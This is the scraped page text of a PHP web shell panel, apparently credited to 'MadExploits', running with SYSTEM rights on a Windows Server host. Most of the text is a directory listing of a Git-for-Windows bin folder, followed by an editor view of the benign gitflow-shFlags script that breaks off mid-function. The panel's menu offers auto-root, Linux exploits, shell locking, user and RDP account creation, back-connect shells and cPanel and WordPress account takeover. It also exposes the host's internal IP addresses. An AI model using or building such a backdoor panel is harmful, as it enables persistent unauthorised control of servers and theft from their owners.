Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
core_perl
[ DIR ]
drwxrwxrwx
vendor_perl
[ DIR ]
drwxrwxrwx
[.exe
70.72
KB
-rwxrwxrwx
addgnupghome
3
KB
-rw-rw-rw-
applygnupgdefaults
2.17
KB
-rw-rw-rw-
arch.exe
35.04
KB
-rwxrwxrwx
astextplain
748
B
-rw-rw-rw-
autopoint
26.41
KB
-rw-rw-rw-
awk.exe
612.76
KB
-rwxrwxrwx
b2sum.exe
54.09
KB
-rwxrwxrwx
backup
7.17
KB
-rw-rw-rw-
base32.exe
40.84
KB
-rwxrwxrwx
base64.exe
40.84
KB
-rwxrwxrwx
basename.exe
34.07
KB
-rwxrwxrwx
basenc.exe
48.34
KB
-rwxrwxrwx
bash.exe
2.16
MB
-rwxrwxrwx
bashbug
6.58
KB
-rw-rw-rw-
bunzip2.exe
90.02
KB
-rwxrwxrwx
bzcat.exe
90.02
KB
-rwxrwxrwx
bzcmp
2.09
KB
-rw-rw-rw-
bzdiff
2.09
KB
-rw-rw-rw-
bzegrep
2.01
KB
-rw-rw-rw-
bzfgrep
2.01
KB
-rw-rw-rw-
bzgrep
2.01
KB
-rw-rw-rw-
bzip2.exe
90.02
KB
-rwxrwxrwx
bzip2recover.exe
14.31
KB
-rwxrwxrwx
bzless
1.27
KB
-rw-rw-rw-
c_rehash
6.59
KB
-rw-rw-rw-
captoinfo.exe
76.5
KB
-rwxrwxrwx
cat.exe
37.81
KB
-rwxrwxrwx
chattr.exe
97.7
KB
-rwxrwxrwx
chcon.exe
58.7
KB
-rwxrwxrwx
chgrp.exe
65.01
KB
-rwxrwxrwx
chmod.exe
57.55
KB
-rwxrwxrwx
chown.exe
67.58
KB
-rwxrwxrwx
chroot.exe
42.63
KB
-rwxrwxrwx
cksum.exe
36.2
KB
-rwxrwxrwx
clear.exe
10.5
KB
-rwxrwxrwx
cmp.exe
47.58
KB
-rwxrwxrwx
column.exe
43.06
KB
-rwxrwxrwx
comm.exe
39.29
KB
-rwxrwxrwx
cp.exe
111.97
KB
-rwxrwxrwx
csplit.exe
109.58
KB
-rwxrwxrwx
cut.exe
44.04
KB
-rwxrwxrwx
cygcheck.exe
933.96
KB
-rwxrwxrwx
cygpath.exe
155.33
KB
-rwxrwxrwx
cygwin-console-helper.exe
306.34
KB
-rwxrwxrwx
d2u.exe
50.1
KB
-rwxrwxrwx
dash.exe
107.13
KB
-rwxrwxrwx
date.exe
117.36
KB
-rwxrwxrwx
dd.exe
88.61
KB
-rwxrwxrwx
df.exe
102.44
KB
-rwxrwxrwx
diff.exe
206.81
KB
-rwxrwxrwx
diff3.exe
61.81
KB
-rwxrwxrwx
dir.exe
145.98
KB
-rwxrwxrwx
dircolors.exe
56.13
KB
-rwxrwxrwx
dirmngr-client.exe
92.7
KB
-rwxrwxrwx
dirmngr.exe
368.09
KB
-rwxrwxrwx
dirname.exe
34.01
KB
-rwxrwxrwx
docx2txt
3.28
KB
-rw-rw-rw-
docx2txt.pl
21.07
KB
-rw-rw-rw-
dos2unix.exe
50.1
KB
-rwxrwxrwx
du.exe
164.46
KB
-rwxrwxrwx
dumpsexp.exe
16.13
KB
-rwxrwxrwx
echo.exe
34.92
KB
-rwxrwxrwx
egrep
28
B
-rw-rw-rw-
env.exe
43.14
KB
-rwxrwxrwx
envsubst.exe
34.4
KB
-rwxrwxrwx
ex.exe
3.3
MB
-rwxrwxrwx
expand.exe
37.77
KB
-rwxrwxrwx
expr.exe
108.52
KB
-rwxrwxrwx
factor.exe
75.67
KB
-rwxrwxrwx
false.exe
32.35
KB
-rwxrwxrwx
fgrep
28
B
-rw-rw-rw-
fido2-assert.exe
31.63
KB
-rwxrwxrwx
fido2-cred.exe
29.8
KB
-rwxrwxrwx
fido2-token.exe
43.73
KB
-rwxrwxrwx
file.exe
23.7
KB
-rwxrwxrwx
find.exe
261.22
KB
-rwxrwxrwx
findssl.sh
4.68
KB
-rw-rw-rw-
fmt.exe
42.31
KB
-rwxrwxrwx
fold.exe
37.31
KB
-rwxrwxrwx
funzip.exe
32.84
KB
-rwxrwxrwx
gawk-5.0.0.exe
612.76
KB
-rwxrwxrwx
gawk.exe
612.76
KB
-rwxrwxrwx
gencat.exe
106.2
KB
-rwxrwxrwx
getconf.exe
104.41
KB
-rwxrwxrwx
getemojis
5.08
KB
-rw-rw-rw-
getfacl.exe
94.59
KB
-rwxrwxrwx
getopt.exe
17.21
KB
-rwxrwxrwx
gettext.exe
34.92
KB
-rwxrwxrwx
gettext.sh
5.07
KB
-rw-rw-rw-
gettextize
41.28
KB
-rw-rw-rw-
git-flow
6.77
KB
-rw-rw-rw-
git-flow-bugfix
24.03
KB
-rw-rw-rw-
git-flow-config
8.42
KB
-rw-rw-rw-
git-flow-feature
24.11
KB
-rw-rw-rw-
git-flow-hotfix
23.7
KB
-rw-rw-rw-
git-flow-init
15.13
KB
-rw-rw-rw-
git-flow-log
2.73
KB
-rw-rw-rw-
git-flow-release
37.06
KB
-rw-rw-rw-
git-flow-support
6.79
KB
-rw-rw-rw-
git-flow-version
2.12
KB
-rw-rw-rw-
gitflow-common
19.37
KB
-rw-rw-rw-
gitflow-shFlags
34.8
KB
-rw-rw-rw-
gkill.exe
35.72
KB
-rwxrwxrwx
gmondump.exe
93.48
KB
-rwxrwxrwx
gpg-agent.exe
364.28
KB
-rwxrwxrwx
gpg-connect-agent.exe
134.12
KB
-rwxrwxrwx
gpg-error.exe
32.03
KB
-rwxrwxrwx
gpg-wks-server.exe
174.28
KB
-rwxrwxrwx
gpg.exe
985
KB
-rwxrwxrwx
gpgconf.exe
137.99
KB
-rwxrwxrwx
gpgparsemail.exe
27.39
KB
-rwxrwxrwx
gpgscm.exe
218.09
KB
-rwxrwxrwx
gpgsm.exe
460.82
KB
-rwxrwxrwx
gpgsplit.exe
62.88
KB
-rwxrwxrwx
gpgtar.exe
126.54
KB
-rwxrwxrwx
gpgv.exe
420.38
KB
-rwxrwxrwx
grep.exe
210.2
KB
-rwxrwxrwx
groups.exe
35.73
KB
-rwxrwxrwx
gunzip
2.29
KB
-rw-rw-rw-
gzexe
6.3
KB
-rw-rw-rw-
gzip.exe
102.58
KB
-rwxrwxrwx
head.exe
44.35
KB
-rwxrwxrwx
hmac256.exe
16.17
KB
-rwxrwxrwx
hostid.exe
32.53
KB
-rwxrwxrwx
hostname.exe
33.1
KB
-rwxrwxrwx
iconv.exe
35.27
KB
-rwxrwxrwx
id.exe
42.93
KB
-rwxrwxrwx
infocmp.exe
53.5
KB
-rwxrwxrwx
infotocap.exe
76.5
KB
-rwxrwxrwx
install.exe
144.97
KB
-rwxrwxrwx
join.exe
50.02
KB
-rwxrwxrwx
kbxutil.exe
144.09
KB
-rwxrwxrwx
kill.exe
118.1
KB
-rwxrwxrwx
ldd.exe
121.37
KB
-rwxrwxrwx
ldh.exe
146.5
KB
-rwxrwxrwx
less.exe
173.75
KB
-rwxrwxrwx
lessecho.exe
11.98
KB
-rwxrwxrwx
lesskey.exe
17.13
KB
-rwxrwxrwx
link.exe
33.03
KB
-rwxrwxrwx
ln.exe
75.27
KB
-rwxrwxrwx
locale.exe
131.97
KB
-rwxrwxrwx
locate.exe
143.8
KB
-rwxrwxrwx
logname.exe
33.06
KB
-rwxrwxrwx
ls.exe
145.98
KB
-rwxrwxrwx
lsattr.exe
96.09
KB
-rwxrwxrwx
mac2unix.exe
50.1
KB
-rwxrwxrwx
md5sum.exe
45.93
KB
-rwxrwxrwx
minidumper.exe
100.13
KB
-rwxrwxrwx
mintheme
12.38
KB
-rw-rw-rw-
mintty.exe
991.91
KB
-rwxrwxrwx
mkdir.exe
69.76
KB
-rwxrwxrwx
mkfifo.exe
35.71
KB
-rwxrwxrwx
mkgroup.exe
126.55
KB
-rwxrwxrwx
mknod.exe
38.81
KB
-rwxrwxrwx
mkpasswd.exe
125.9
KB
-rwxrwxrwx
mktemp.exe
43.16
KB
-rwxrwxrwx
mount.exe
121.09
KB
-rwxrwxrwx
mpicalc.exe
17.69
KB
-rwxrwxrwx
msgattrib.exe
24.61
KB
-rwxrwxrwx
msgcat.exe
23.55
KB
-rwxrwxrwx
msgcmp.exe
24.53
KB
-rwxrwxrwx
msgcomm.exe
23.82
KB
-rwxrwxrwx
msgconv.exe
20.46
KB
-rwxrwxrwx
msgen.exe
20.48
KB
-rwxrwxrwx
msgexec.exe
19.08
KB
-rwxrwxrwx
msgfilter.exe
28.04
KB
-rwxrwxrwx
msgfmt.exe
78.19
KB
-rwxrwxrwx
msggrep.exe
104.85
KB
-rwxrwxrwx
msginit.exe
46.47
KB
-rwxrwxrwx
msgmerge.exe
53.52
KB
-rwxrwxrwx
msgunfmt.exe
32.65
KB
-rwxrwxrwx
msguniq.exe
23.06
KB
-rwxrwxrwx
msys-2.0.dll
3.46
MB
-rw-rw-rw-
msys-apr-1-0.dll
173.35
KB
-rw-rw-rw-
msys-aprutil-1-0.dll
128.24
KB
-rw-rw-rw-
msys-asn1-8.dll
508.54
KB
-rw-rw-rw-
msys-assuan-0.dll
66.43
KB
-rw-rw-rw-
msys-bz2-1.dll
65.7
KB
-rw-rw-rw-
msys-cbor-0.8.dll
48.39
KB
-rw-rw-rw-
msys-com_err-1.dll
9.87
KB
-rw-rw-rw-
msys-crypt-0.dll
39.37
KB
-rw-rw-rw-
msys-crypto-1.1.dll
2.37
MB
-rw-rw-rw-
msys-edit-0.dll
175.37
KB
-rw-rw-rw-
msys-expat-1.dll
168.06
KB
-rw-rw-rw-
msys-ffi-8.dll
16.2
KB
-rw-rw-rw-
msys-fido2-1.dll
146.47
KB
-rw-rw-rw-
msys-gcc_s-seh-1.dll
74.26
KB
-rw-rw-rw-
msys-gcrypt-20.dll
796.8
KB
-rw-rw-rw-
msys-gettextlib-0-21.dll
1.3
MB
-rw-rw-rw-
msys-gettextsrc-0-21.dll
290.07
KB
-rw-rw-rw-
msys-gmp-10.dll
572.07
KB
-rw-rw-rw-
msys-gnutls-30.dll
1.7
MB
-rw-rw-rw-
msys-gpg-error-0.dll
129.06
KB
-rw-rw-rw-
msys-gssapi-3.dll
218.93
KB
-rw-rw-rw-
msys-hcrypto-4.dll
192.3
KB
-rw-rw-rw-
msys-heimbase-1.dll
49.22
KB
-rw-rw-rw-
msys-heimntlm-0.dll
31.49
KB
-rw-rw-rw-
msys-hogweed-6.dll
263.05
KB
-rw-rw-rw-
msys-hx509-5.dll
270.65
KB
-rw-rw-rw-
msys-iconv-2.dll
1.03
MB
-rw-rw-rw-
msys-idn2-0.dll
188.5
KB
-rw-rw-rw-
msys-intl-8.dll
44.82
KB
-rw-rw-rw-
msys-kafs-0.dll
27.91
KB
-rw-rw-rw-
msys-krb5-26.dll
463.02
KB
-rw-rw-rw-
msys-ksba-8.dll
235.48
KB
-rw-rw-rw-
msys-lz4-1.dll
134.29
KB
-rw-rw-rw-
msys-magic-1.dll
154.16
KB
-rw-rw-rw-
msys-mpfr-6.dll
613.22
KB
-rw-rw-rw-
msys-ncursesw6.dll
327.75
KB
-rw-rw-rw-
msys-nettle-8.dll
266.42
KB
-rw-rw-rw-
msys-npth-0.dll
15.69
KB
-rw-rw-rw-
msys-p11-kit-0.dll
1017.07
KB
-rw-rw-rw-
msys-pcre-1.dll
279.49
KB
-rw-rw-rw-
msys-pcre2-8-0.dll
373.96
KB
-rw-rw-rw-
msys-pcre2-posix-3.dll
10.6
KB
-rw-rw-rw-
msys-perl5_36.dll
3.35
MB
-rw-rw-rw-
msys-psl-5.dll
67.77
KB
-rw-rw-rw-
msys-readline8.dll
253.14
KB
-rw-rw-rw-
msys-roken-18.dll
64.53
KB
-rw-rw-rw-
msys-sasl2-3.dll
98.6
KB
-rw-rw-rw-
msys-serf-1-0.dll
97.39
KB
-rw-rw-rw-
msys-smartcols-1.dll
159.86
KB
-rw-rw-rw-
msys-sqlite3-0.dll
1.28
MB
-rw-rw-rw-
msys-ssl-1.1.dll
516.55
KB
-rw-rw-rw-
msys-svn_client-1-0.dll
582.39
KB
-rw-rw-rw-
msys-svn_delta-1-0.dll
106.32
KB
-rw-rw-rw-
msys-svn_diff-1-0.dll
87.5
KB
-rw-rw-rw-
msys-svn_fs-1-0.dll
43.86
KB
-rw-rw-rw-
msys-svn_fs_fs-1-0.dll
298.95
KB
-rw-rw-rw-
msys-svn_fs_util-1-0.dll
12.77
KB
-rw-rw-rw-
msys-svn_fs_x-1-0.dll
290.76
KB
-rw-rw-rw-
msys-svn_ra-1-0.dll
50.27
KB
-rw-rw-rw-
msys-svn_ra_local-1-0.dll
37.99
KB
-rw-rw-rw-
msys-svn_ra_serf-1-0.dll
187.26
KB
-rw-rw-rw-
msys-svn_ra_svn-1-0.dll
122.63
KB
-rw-rw-rw-
msys-svn_repos-1-0.dll
239.62
KB
-rw-rw-rw-
msys-svn_subr-1-0.dll
764.46
KB
-rw-rw-rw-
msys-svn_swig_perl-1-0.dll
41.29
KB
-rw-rw-rw-
msys-svn_wc-1-0.dll
697.66
KB
-rw-rw-rw-
msys-tasn1-6.dll
68.97
KB
-rw-rw-rw-
msys-ticw6.dll
61.04
KB
-rw-rw-rw-
msys-unistring-2.dll
1.73
MB
-rw-rw-rw-
msys-uuid-1.dll
27
KB
-rw-rw-rw-
msys-wind-0.dll
160.61
KB
-rw-rw-rw-
msys-z.dll
86.07
KB
-rw-rw-rw-
mv.exe
119.56
KB
-rwxrwxrwx
nano.exe
355.39
KB
-rwxrwxrwx
nettle-hash.exe
18.03
KB
-rwxrwxrwx
nettle-lfib-stream.exe
10.03
KB
-rwxrwxrwx
nettle-pbkdf2.exe
18.11
KB
-rwxrwxrwx
ngettext.exe
34.95
KB
-rwxrwxrwx
nice.exe
35.67
KB
-rwxrwxrwx
nl.exe
101.62
KB
-rwxrwxrwx
nohup.exe
35.74
KB
-rwxrwxrwx
notepad
635
B
-rw-rw-rw-
nproc.exe
35.8
KB
-rwxrwxrwx
numfmt.exe
60.02
KB
-rwxrwxrwx
od.exe
84.71
KB
-rwxrwxrwx
openssl.exe
661.67
KB
-rwxrwxrwx
p11-kit.exe
31.25
KB
-rwxrwxrwx
passwd.exe
124.37
KB
-rwxrwxrwx
paste.exe
36.71
KB
-rwxrwxrwx
patch.exe
169.93
KB
-rwxrwxrwx
pathchk.exe
34.53
KB
-rwxrwxrwx
perl.exe
14.05
KB
-rwxrwxrwx
perl5.36.0.exe
14.05
KB
-rwxrwxrwx
pinentry-w32.exe
77.14
KB
-rwxrwxrwx
pinentry.exe
77.14
KB
-rwxrwxrwx
pinky.exe
40.13
KB
-rwxrwxrwx
pkcs1-conv.exe
22.91
KB
-rwxrwxrwx
pldd.exe
88.84
KB
-rwxrwxrwx
pluginviewer.exe
17.31
KB
-rwxrwxrwx
pr.exe
71.9
KB
-rwxrwxrwx
printenv.exe
33
KB
-rwxrwxrwx
printf.exe
70.32
KB
-rwxrwxrwx
profiler.exe
198.36
KB
-rwxrwxrwx
ps.exe
110.52
KB
-rwxrwxrwx
psl-make-dafsa
22.25
KB
-rw-rw-rw-
psl.exe
17.16
KB
-rwxrwxrwx
ptx.exe
127.23
KB
-rwxrwxrwx
pwd.exe
35.3
KB
-rwxrwxrwx
readlink.exe
47.35
KB
-rwxrwxrwx
realpath.exe
48.41
KB
-rwxrwxrwx
rebase.exe
880.24
KB
-rwxrwxrwx
rebaseall
6.98
KB
-rw-rw-rw-
recode-sr-latin.exe
16.61
KB
-rwxrwxrwx
regtool.exe
129.72
KB
-rwxrwxrwx
reset.exe
21.5
KB
-rwxrwxrwx
restore
5.86
KB
-rw-rw-rw-
rm.exe
62.32
KB
-rwxrwxrwx
rmdir.exe
60.79
KB
-rwxrwxrwx
rnano.exe
355.39
KB
-rwxrwxrwx
runcon.exe
34
KB
-rwxrwxrwx
rview.exe
3.31
MB
-rwxrwxrwx
rvim.exe
3.31
MB
-rwxrwxrwx
scp.exe
214.28
KB
-rwxrwxrwx
sdiff.exe
53.15
KB
-rwxrwxrwx
sed.exe
171.92
KB
-rwxrwxrwx
seq.exe
66.88
KB
-rwxrwxrwx
setfacl.exe
115.84
KB
-rwxrwxrwx
setmetamode.exe
83.06
KB
-rwxrwxrwx
sexp-conv.exe
29.17
KB
-rwxrwxrwx
sftp.exe
223.69
KB
-rwxrwxrwx
sh.exe
2.16
MB
-rwxrwxrwx
sha1sum.exe
48.93
KB
-rwxrwxrwx
sha224sum.exe
54.93
KB
-rwxrwxrwx
sha256sum.exe
54.93
KB
-rwxrwxrwx
sha384sum.exe
59.93
KB
-rwxrwxrwx
sha512sum.exe
59.93
KB
-rwxrwxrwx
shred.exe
57.14
KB
-rwxrwxrwx
shuf.exe
52.89
KB
-rwxrwxrwx
sleep.exe
35.16
KB
-rwxrwxrwx
sort.exe
107.02
KB
-rwxrwxrwx
split.exe
52.91
KB
-rwxrwxrwx
ssh-add.exe
421.47
KB
-rwxrwxrwx
ssh-agent.exe
392.86
KB
-rwxrwxrwx
ssh-copy-id
12.38
KB
-rw-rw-rw-
ssh-keygen.exe
542.35
KB
-rwxrwxrwx
ssh-keyscan.exe
503.31
KB
-rwxrwxrwx
ssh-pageant.exe
21.11
KB
-rwxrwxrwx
ssh.exe
920.77
KB
-rwxrwxrwx
sshd.exe
974.1
KB
-rwxrwxrwx
ssp.exe
121.02
KB
-rwxrwxrwx
start
246
B
-rw-rw-rw-
stat.exe
94.93
KB
-rwxrwxrwx
stdbuf.exe
67.41
KB
-rwxrwxrwx
strace.exe
469.81
KB
-rwxrwxrwx
stty.exe
88.63
KB
-rwxrwxrwx
sum.exe
41.96
KB
-rwxrwxrwx
sync.exe
33.62
KB
-rwxrwxrwx
tabs.exe
15.5
KB
-rwxrwxrwx
tac.exe
105.21
KB
-rwxrwxrwx
tail.exe
55.29
KB
-rwxrwxrwx
tar.exe
479.2
KB
-rwxrwxrwx
tee.exe
37.88
KB
-rwxrwxrwx
test.exe
68.68
KB
-rwxrwxrwx
tic.exe
76.5
KB
-rwxrwxrwx
tig.exe
646.82
KB
-rwxrwxrwx
timeout.exe
40.77
KB
-rwxrwxrwx
toe.exe
14.5
KB
-rwxrwxrwx
touch.exe
104.94
KB
-rwxrwxrwx
tput.exe
20
KB
-rwxrwxrwx
tr.exe
48.3
KB
-rwxrwxrwx
true.exe
32.35
KB
-rwxrwxrwx
truncate.exe
38.75
KB
-rwxrwxrwx
trust.exe
178.88
KB
-rwxrwxrwx
tset.exe
21.5
KB
-rwxrwxrwx
tsort.exe
47.79
KB
-rwxrwxrwx
tty.exe
32.53
KB
-rwxrwxrwx
tzset.exe
134.34
KB
-rwxrwxrwx
u2d.exe
50.1
KB
-rwxrwxrwx
umount.exe
87.75
KB
-rwxrwxrwx
uname.exe
35.04
KB
-rwxrwxrwx
uncompress
2.29
KB
-rw-rw-rw-
unexpand.exe
38.31
KB
-rwxrwxrwx
uniq.exe
43.96
KB
-rwxrwxrwx
unix2dos.exe
50.1
KB
-rwxrwxrwx
unix2mac.exe
50.1
KB
-rwxrwxrwx
unlink.exe
33.03
KB
-rwxrwxrwx
unzip.exe
169.64
KB
-rwxrwxrwx
unzipsfx.exe
81.21
KB
-rwxrwxrwx
update-ca-trust
1.34
KB
-rw-rw-rw-
updatedb
8.88
KB
-rw-rw-rw-
users.exe
34.26
KB
-rwxrwxrwx
vdir.exe
145.98
KB
-rwxrwxrwx
vi
25
B
-rw-rw-rw-
view.exe
3.31
MB
-rwxrwxrwx
vim.exe
3.31
MB
-rwxrwxrwx
vimdiff.exe
3.31
MB
-rwxrwxrwx
vimtutor
2.1
KB
-rw-rw-rw-
watchgnupg.exe
15.59
KB
-rwxrwxrwx
wc.exe
46.26
KB
-rwxrwxrwx
which.exe
29.82
KB
-rwxrwxrwx
who.exe
68.64
KB
-rwxrwxrwx
whoami.exe
33.09
KB
-rwxrwxrwx
winpty-agent.exe
880.5
KB
-rwxrwxrwx
winpty-debugserver.exe
772.5
KB
-rwxrwxrwx
winpty.dll
811.5
KB
-rw-rw-rw-
winpty.exe
731.5
KB
-rwxrwxrwx
wordpad
635
B
-rw-rw-rw-
xargs.exe
66.76
KB
-rwxrwxrwx
xgettext.exe
281.8
KB
-rwxrwxrwx
xxd.exe
19.04
KB
-rwxrwxrwx
yat2m.exe
31.23
KB
-rwxrwxrwx
yes.exe
33.03
KB
-rwxrwxrwx
zcat
1.94
KB
-rw-rw-rw-
zcmp
1.64
KB
-rw-rw-rw-
zdiff
6.31
KB
-rw-rw-rw-
zegrep
29
B
-rw-rw-rw-
zfgrep
29
B
-rw-rw-rw-
zforce
2.03
KB
-rw-rw-rw-
zgrep
7.92
KB
-rw-rw-rw-
zipgrep
2.88
KB
-rw-rw-rw-
zipinfo.exe
169.64
KB
-rwxrwxrwx
zless
2.15
KB
-rw-rw-rw-
znew
4.47
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gitflow-shFlags
# $Id$ # vim:et:ft=sh:sts=2:sw=2 # # Copyright 2008 Kate Ward. All Rights Reserved. # Released under the LGPL (GNU Lesser General Public License) # # shFlags -- Advanced command-line flag library for Unix shell scripts. # http://code.google.com/p/shflags/ # # Author: kate.ward@forestent.com (Kate Ward) # # This module implements something like the google-gflags library available # from http://code.google.com/p/google-gflags/. # # FLAG TYPES: This is a list of the DEFINE_*'s that you can do. All flags take # a name, default value, help-string, and optional 'short' name (one-letter # name). Some flags have other arguments, which are described with the flag. # # DEFINE_string: takes any input, and intreprets it as a string. # # DEFINE_boolean: does not take any arguments. Say --myflag to set # FLAGS_myflag to true, or --nomyflag to set FLAGS_myflag to false. For short # flags, passing the flag on the command-line negates the default value, i.e. # if the default is true, passing the flag sets the value to false. # # DEFINE_float: takes an input and intreprets it as a floating point number. As # shell does not support floats per-se, the input is merely validated as # being a valid floating point value. # # DEFINE_integer: takes an input and intreprets it as an integer. # # SPECIAL FLAGS: There are a few flags that have special meaning: # --help (or -?) prints a list of all the flags in a human-readable fashion # --flagfile=foo read flags from foo. (not implemented yet) # -- as in getopt(), terminates flag-processing # # EXAMPLE USAGE: # # -- begin hello.sh -- # #! /bin/sh # . ./shflags # DEFINE_string name 'world' "somebody's name" n # FLAGS "$@" || exit $? # eval set -- "${FLAGS_ARGV}" # echo "Hello, ${FLAGS_name}." # -- end hello.sh -- # # $ ./hello.sh -n Kate # Hello, Kate. # # CUSTOMIZABLE BEHAVIOR: # # A script can override the default 'getopt' command by providing the path to # an alternate implementation by defining the FLAGS_GETOPT_CMD variable. # # NOTES: # # * Not all systems include a getopt version that supports long flags. On these # systems, only short flags are recognized. #============================================================================== # shFlags # # Shared attributes: # flags_error: last error message # flags_output: last function output (rarely valid) # flags_return: last return value # # __flags_longNames: list of long names for all flags # __flags_shortNames: list of short names for all flags # __flags_boolNames: list of boolean flag names # # __flags_opts: options parsed by getopt # # Per-flag attributes: # FLAGS_<flag_name>: contains value of flag named 'flag_name' # __flags_<flag_name>_default: the default flag value # __flags_<flag_name>_help: the flag help string # __flags_<flag_name>_short: the flag short name # __flags_<flag_name>_type: the flag type # # Notes: # - lists of strings are space separated, and a null value is the '~' char. # return if FLAGS already loaded [ -n "${FLAGS_VERSION:-}" ] && return 0 FLAGS_VERSION='1.0.4pre' # return values that scripts can use FLAGS_TRUE=0 FLAGS_FALSE=1 FLAGS_ERROR=2 # determine some reasonable command defaults __FLAGS_UNAME_S=`uname -s` case "${__FLAGS_UNAME_S}" in BSD) __FLAGS_EXPR_CMD='gexpr' ;; *) __FLAGS_EXPR_CMD='expr' ;; esac # commands a user can override if needed FLAGS_EXPR_CMD=${FLAGS_EXPR_CMD:-${__FLAGS_EXPR_CMD}} FLAGS_GETOPT_CMD=${FLAGS_GETOPT_CMD:-getopt} # specific shell checks if [ -n "${ZSH_VERSION:-}" ]; then setopt |grep "^shwordsplit$" >/dev/null if [ $? -ne ${FLAGS_TRUE} ]; then _flags_fatal 'zsh shwordsplit option is required for proper zsh operation' fi if [ -z "${FLAGS_PARENT:-}" ]; then _flags_fatal "zsh does not pass \$0 through properly. please declare' \ \"FLAGS_PARENT=\$0\" before calling shFlags" fi fi # can we use built-ins? ( echo "${FLAGS_TRUE#0}"; ) >/dev/null 2>&1 if [ $? -eq ${FLAGS_TRUE} ]; then __FLAGS_USE_BUILTIN=${FLAGS_TRUE} else __FLAGS_USE_BUILTIN=${FLAGS_FALSE} fi # # constants # # reserved flag names __FLAGS_RESERVED_LIST=' ARGC ARGV ERROR FALSE GETOPT_CMD HELP PARENT TRUE ' __FLAGS_RESERVED_LIST="${__FLAGS_RESERVED_LIST} VERSION " # getopt version __FLAGS_GETOPT_VERS_STD=0 __FLAGS_GETOPT_VERS_ENH=1 __FLAGS_GETOPT_VERS_BSD=2 ${FLAGS_GETOPT_CMD} >/dev/null 2>&1 case $? in 0) __FLAGS_GETOPT_VERS=${__FLAGS_GETOPT_VERS_STD} ;; # bsd getopt 1) # Probably BusyBox. Getting a return of 4 with -T will confirm ${FLAGS_GETOPT_CMD} -T >/dev/null 2>&1 if [ "$?" == 4 ] ; then __FLAGS_GETOPT_VERS=${__FLAGS_GETOPT_VERS_ENH} else _flags_fatal 'unable to determine getopt version' fi ;; 2) # TODO(kward): look into '-T' option to test the internal getopt() version if [ "`${FLAGS_GETOPT_CMD} --version`" = '-- ' ]; then __FLAGS_GETOPT_VERS=${__FLAGS_GETOPT_VERS_STD} else __FLAGS_GETOPT_VERS=${__FLAGS_GETOPT_VERS_ENH} fi ;; *) _flags_fatal 'unable to determine getopt version' ;; esac # getopt optstring lengths __FLAGS_OPTSTR_SHORT=0 __FLAGS_OPTSTR_LONG=1 __FLAGS_NULL='~' # flag info strings __FLAGS_INFO_DEFAULT='default' __FLAGS_INFO_HELP='help' __FLAGS_INFO_SHORT='short' __FLAGS_INFO_TYPE='type' # flag lengths __FLAGS_LEN_SHORT=0 __FLAGS_LEN_LONG=1 # flag types __FLAGS_TYPE_NONE=0 __FLAGS_TYPE_BOOLEAN=1 __FLAGS_TYPE_FLOAT=2 __FLAGS_TYPE_INTEGER=3 __FLAGS_TYPE_STRING=4 # set the constants readonly __flags_constants=`set |awk -F= '/^FLAGS_/ || /^__FLAGS_/ {print $1}'` for __flags_const in ${__flags_constants}; do # skip certain flags case ${__flags_const} in FLAGS_HELP) continue ;; FLAGS_PARENT) continue ;; esac # set flag readonly if [ -z "${ZSH_VERSION:-}" ]; then readonly ${__flags_const} else # handle zsh case ${ZSH_VERSION} in [123].*) readonly ${__flags_const} ;; *) readonly -g ${__flags_const} ;; # declare readonly constants globally esac fi done unset __flags_const __flags_constants # # internal variables # # space separated lists __flags_boolNames=' ' # boolean flag names __flags_longNames=' ' # long flag names __flags_shortNames=' ' # short flag names __flags_definedNames=' ' # defined flag names (used for validation) __flags_nonegateNames=' ' __flags_columns='' # screen width in columns __flags_opts='' # temporary storage for parsed getopt flags #------------------------------------------------------------------------------ # private functions # # logging functions _flags_debug() { echo "flags:DEBUG $@" >&2; } _flags_warn() { echo "flags:WARN $@" >&2; } _flags_error() { echo "flags:ERROR $@" >&2; } _flags_fatal() { echo "flags:FATAL $@" >&2; exit ${FLAGS_ERROR}; } # Define a flag. # # Calling this function will define the following info variables for the # specified flag: # FLAGS_flagname - the name for this flag (based upon the long flag name) # __flags_<flag_name>_default - the default value # __flags_flagname_help - the help string # __flags_flagname_short - the single letter alias # __flags_flagname_type - the type of flag (one of __FLAGS_TYPE_*) # # Args: # _flags__type: integer: internal type of flag (__FLAGS_TYPE_*) # _flags__name: string: long flag name # _flags__default: default flag value # _flags__help: string: help string # _flags__short: string: (optional) short flag name # Returns: # integer: success of operation, or error _flags_define() { if [ $# -lt 4 ]; then flags_error='DEFINE error: too few arguments' flags_return=${FLAGS_ERROR} _flags_error "${flags_error}" return ${flags_return} fi _flags_type_=$1 _flags_name_=$2 _flags_default_=$3 _flags_help_=$4 _flags_short_=${5:-${__FLAGS_NULL}} _flags_return_=${FLAGS_TRUE} _flags_usName_=`_flags_removeExclamationName ${_flags_name_}` _flags_usName_=`_flags_underscoreName ${_flags_usName_}` # check whether the flag name is reserved _flags_itemInList ${_flags_usName_} "${__FLAGS_RESERVED_LIST}" if [ $? -eq ${FLAGS_TRUE} ]; then flags_error="flag name (${_flags_name_}) is reserved" _flags_return_=${FLAGS_ERROR} fi # require short option for getopt that don't support long options if [ ${_flags_return_} -eq ${FLAGS_TRUE} \ -a ${__FLAGS_GETOPT_VERS} -ne ${__FLAGS_GETOPT_VERS_ENH} \ -a "${_flags_short_}" = "${__FLAGS_NULL}" ] then flags_error="short flag required for (${_flags_name_}) on this platform" _flags_return_=${FLAGS_ERROR} fi # check for existing long name definition if [ ${_flags_return_} -eq ${FLAGS_TRUE} ]; then if _flags_itemInList ${_flags_usName_} ${__flags_definedNames}; then flags_error="definition for ([no]${_flags_name_}) already exists" _flags_warn "${flags_error}" _flags_return_=${FLAGS_FALSE} fi fi # check for existing short name definition if [ ${_flags_return_} -eq ${FLAGS_TRUE} \ -a "${_flags_short_}" != "${__FLAGS_NULL}" ] then if _flags_itemInList "${_flags_short_}" ${__flags_shortNames}; then flags_error="flag short name 